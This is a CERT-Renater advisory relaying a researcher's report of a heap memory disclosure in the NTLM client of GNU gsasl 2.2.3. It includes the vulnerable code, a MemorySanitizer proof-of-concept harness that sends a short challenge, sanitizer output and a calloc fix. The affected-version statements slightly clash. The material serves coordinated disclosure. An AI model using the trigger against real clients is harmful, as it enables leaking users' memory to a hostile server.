Ce mail provient de l'extérieur, restons vigilants

=====================================================================

                            CERT-Renater

                Note d'Information No. 2026/VULN637
_____________________________________________________________________

DATE                : 16/06/2026

HARDWARE PLATFORM(S): /

OPERATING SYSTEM(S): Systems running GNU gsasl versions prior to
                                        2.2.3.

=====================================================================
https://lists.gnu.org/archive/html/help-gsasl/2026-06/msg00000.html
_____________________________________________________________________

Affected:  GNU gsasl 2.2.3 (latest), linked against libntlm (any)
Files:     lib/ntlm/ntlm.c  _gsasl_ntlm_client_step()  lines 107-117
           (uninitialized read reaches libntlm buildSmbNtlmAuthResponse)
Severity:  MEDIUM  — heap disclosure from a malicious NTLM server to the
           gsasl client; leaked bytes are echoed back to the server inside
           the NTLM response.
CWE:       CWE-908 (Use of Uninitialized Resource)
CVSS 3.1:  6.5  AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Reporter:  zhangph (afldl), independent security researcher
           zhangph12138@163.com

1. Summary
----------
In _gsasl_ntlm_client_step(), the Type-2 (challenge) message from the
server is copied into a fixed tSmbNtlmAuthChallenge struct with malloc() +
a bounded memcpy(), but the length check only rejects input_len *greater*
than the struct size — it accepts any SHORTER challenge and leaves the
uninitialized tail in place:

    107   if (input_len > sizeof (*challenge))
    108     return GSASL_MECHANISM_PARSE_ERROR;
    109
    110   challenge = malloc (sizeof (*challenge));   /* NOT calloc: tail 
uninit */
    111   if (!challenge)
    112     return GSASL_MALLOC_ERROR;
    ...
    117   memcpy (challenge, input, input_len);        /* only first input_len 
bytes */

sizeof(tSmbNtlmAuthChallenge) is 1076 bytes. A malicious NTLM server that
sends a short Type-2 challenge (e.g. 16 bytes) causes the remaining ~1060
bytes to stay uninitialized. The struct is then handed to libntlm's
buildSmbNtlmAuthResponse(), whose getUnicodeString() reads the target-name /
target-info fields from the uninitialized tail. Those bytes end up in the
NTLM response that the client transmits back to the attacker-controlled
server — a heap memory disclosure to the remote peer.

Because this is the NTLM *client* path, the attacker is the server: it
initiates the leak by sending a malformed challenge.

2. Verified reproduction (real gsasl + libntlm, MemorySanitizer)
----------------------------------------------------------------
Built the shipped gsasl 2.2.3 and libntlm 1.8 with -fsanitize=memory and
drove the real public API (gsasl_client_start("NTLM") + gsasl_step) with a
16-byte Type-2 challenge:

    $ # build libntlm with MSAN
    $ CC=clang CFLAGS="-O0 -g -fsanitize=memory -fno-omit-frame-pointer" \
        LDFLAGS="-fsanitize=memory" ./configure --enable-static 
--disable-shared && make
    $ # build gsasl with MSAN against it (NTLM enabled)
    $ PKG_CONFIG_PATH=/path/to/libntlm CPPFLAGS=-I.../libntlm \
        CC=clang CFLAGS="-O0 -g -fsanitize=memory -fno-omit-frame-pointer" \
        ./configure && make -C gl && make -C lib

    $ cat gsasl_msan.c
      #include <gsasl.h>
      int main(void){
          Gsasl *ctx; Gsasl_session *s; char *out; size_t outlen; int rc;
          gsasl_init(&ctx);
          gsasl_client_start(ctx,"NTLM",&s);
          gsasl_property_set(s,GSASL_AUTHID,"user");
          gsasl_property_set(s,GSASL_PASSWORD,"pass");
          gsasl_property_set(s,GSASL_REALM,"DOM");
          gsasl_step(s,NULL,0,&out,&outlen);          /* Type-1 request */
          unsigned char short2[16];
          memcpy(short2,"NTLMSSP\0",8);
          unsigned int mt=2; memcpy(short2+8,&mt,4);  /* msgType=Type2, only 16 
bytes */
          gsasl_step(s,(const char*)short2,sizeof short2,&out,&outlen); /* leak 
*/
          gsasl_finish(s); gsasl_done(ctx);
      }
    $ clang -fsanitize=memory -I... gsasl_msan.c \
        libgsasl.a libntlm.a libgl.a -lidn -o gsasl_msan
    $ MSAN_OPTIONS=halt_on_error=1 ./gsasl_msan

    step1 rc=1 outlen=39
    ==1015722==WARNING: MemorySanitizer: use-of-uninitialized-value
        #0 0x... in getUnicodeString         libntlm-1.8/smbutil.c:155:26
        #1 0x... in buildSmbNtlmAuthResponse libntlm-1.8/smbutil.c:330:24
        #2 0x... in _gsasl_ntlm_client_step  gsasl-2.2.3/lib/ntlm/ntlm.c:133:2
        #3 0x... in gsasl_step               gsasl-2.2.3/lib/src/xstep.c:62:10
        #4 0x... in main                     gsasl_msan.c:23
    SUMMARY: MemorySanitizer: use-of-uninitialized-value smbutil.c:155 in 
getUnicodeString

(MemorySanitizer is the correct tool here — AddressSanitizer does not flag
reads of allocated-but-unset memory. The 0xCCCCCCCC-style canary some
reports quote is a Windows debug-heap artefact; on glibc the leaked bytes
are whatever previously occupied the heap, which MSAN confirms is
uninitialized.)

3. Suggested fix
----------------
Zero the struct so a short challenge cannot expose stale heap:

    challenge = calloc (1, sizeof (*challenge));     /* was malloc() */

and additionally validate that the wire-declared target-name / target-info
lengths+offsets stay within input_len before libntlm consumes them, so a
malicious server cannot point them into the zeroed (or still-stale) tail.

4. Disclosure
-------------
Reported 2026-06-15. No prior public disclosure. Happy to coordinate a
fix and CVE.

5. Credits
----------
zhangph (afldl), independent security researcher.

=========================================================
+ CERT-RENATER        |    tel : 01-53-94-20-44         +
+ 23/25 Rue Daviel    |    fax : 01-53-94-20-41         +
+ 75013 Paris         |   email:cert@support.renater.fr +
=========================================================




